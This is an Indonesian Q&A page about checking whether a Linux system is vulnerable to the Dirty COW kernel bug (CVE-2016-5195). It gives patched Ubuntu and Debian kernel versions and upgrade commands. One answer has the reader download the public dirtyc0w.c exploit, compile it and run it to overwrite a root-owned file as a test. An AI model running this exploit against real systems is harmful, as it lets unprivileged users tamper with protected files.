GNU/Linux >> Belajar Linux >  >> Linux

Bagaimana cara memastikan bahwa sistem operasi saya tidak terpengaruh oleh CVE-2016-5195 (Dirty COW)?

Anda dapat melakukan uname -rv untuk mengetahui versi kernel Linux Anda. Anda akan mendapatkan output yang mirip dengan di bawah ini:

4.4.0-42-generic #62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 2016

Jika versi Anda lebih lama dari yang berikut, Anda terpengaruh:

  • 4.8.0-26.28 untuk Ubuntu 16.10

  • 4.4.0-45.66 untuk Ubuntu 16.04 LTS

  • 3.13.0-100.147 untuk Ubuntu 14.04 LTS

  • 3.2.0-113.155 untuk Ubuntu 12.04 LTS

  • 3.16.36-1+deb8u2 untuk Debian 8

  • 3.2.82-1 untuk Debian 7

  • 4.7.8-1 untuk Debian tidak stabil


Menurut security-tracker.debian, Anda perlu menjalankan uname -a dan verifikasi versi kernel Anda saat ini .

wheezy  3.2.78-1                        vulnerable
wheezy (security)   3.2.82-1            fixed
jessie  3.16.36-1+deb8u1                vulnerable
jessie (security)   3.16.36-1+deb8u2    fixed
stretch, sid    4.7.8-1                 fixed

Kerentanan ini ditambal di bawah debian , dengan memutakhirkan sistem Anda :

apt-get update
apt-get upgrade
apt-get dist-upgrade

Edit

Bagaimana cara memastikan bahwa sistem operasi saya tidak terpengaruh oleh CVE-2016-5195?

Anda dapat mencoba tutorial berikut.

Unduh eksploit.

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

Sebagai root :Buat foo berkas:

su
echo this is not a test > foo

Sebagai pengguna :

gcc -lpthread dirtyc0w.c -o dirtyc0w
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w foo m00000000000000000

Verifikasi file Anda:

cat foo

Pada mesin yang rentan Anda akan mendapatkan m00000000000000000 sebagai keluaran.


Linux
  1. Bagaimana Memastikan Bahwa Direktori Atau File Sebenarnya Dihapus?

  2. Bagaimana Agar Ibus Tidak Abaikan ~/.xcompose?

  3. Cara Memperbaiki Perintah Ifconfig tidak ditemukan di Linux Ubuntu

  1. Bagaimana cara mendapatkan sistem operasi saat ini di MSBuild?

  2. Bagaimana cara memastikan sistem saya menggunakan file ~/.screenrc?

  3. Bagaimana cara membuat gateway default saya permanen di CentOS? Agar setelah reboot tidak hilang

  1. Bagaimana cara mengetahui bahwa Java diinstal di sistem Linux?

  2. Penjelasan sederhana tentang cara kerja SAPI Kotor?

  3. Bagaimana saya bisa mendapatkan nama sistem operasi dengan andal?